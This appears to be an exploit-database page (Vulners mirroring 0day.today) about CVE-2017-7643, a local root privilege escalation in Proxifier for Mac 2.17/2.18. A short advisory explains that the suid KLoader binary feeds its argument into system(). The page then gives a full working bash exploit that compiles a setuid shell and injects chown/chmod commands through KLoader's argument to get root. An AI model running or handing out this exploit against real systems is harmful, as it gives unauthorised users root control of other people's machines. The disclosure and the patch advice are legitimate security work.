Lucene search
K

Proxifier for Mac 2.17 / 2.18 - Privelege Escalation Exploit

🗓️ 11 Apr 2017 00:00:00Reported by Mark WadhamType 
zdt
 zdt
🔗 0day.today👁 52 Views

Proxifier for Mac 2.17/2.18 Privelege Escalation Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Proxifier for Mac 2.19 - Local root Privilege Escalation Exploit
6 Dec 201700:00
zdt
CNVD
Proxifier for Mac Elevation of Privilege Vulnerability
13 Apr 201700:00
cnvd
CVE
CVE-2017-7643
14 Apr 201714:00
cve
Cvelist
CVE-2017-7643
14 Apr 201714:00
cvelist
Exploit DB
Proxifier for Mac 2.19 - Local Privilege Escalation
6 Dec 201700:00
exploitdb
EUVD
EUVD-2017-16648
7 Oct 202500:30
euvd
exploitpack
Proxifier for Mac 2.19 - Local Privilege Escalation
6 Dec 201700:00
exploitpack
NVD
CVE-2017-7643
14 Apr 201714:59
nvd
Packet Storm
Proxifier 2.18 Privilege Escalation / Code Execution
11 Apr 201700:00
packetstorm
Packet Storm
Proxifier 2.19 Privilege Escalation / Code Execution
12 Apr 201700:00
packetstorm
Rows per page
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html
 
Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.
 
Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().
 
This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.
 
Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!
 
Everyone using Proxifier for Mac should update to 2.19 as soon as possible.
 
https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------
 
#!/bin/bash
 
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18                                           #
#####################################################################
# by m4rkw                                                          #
#####################################################################
 
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
 
int main()
{
  setuid(0);
  seteuid(0);
 
  execl("/bin/bash", "bash", NULL);
  return 0;
}
EOF
 
gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a
 
-------------------------------------------------------------------

#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation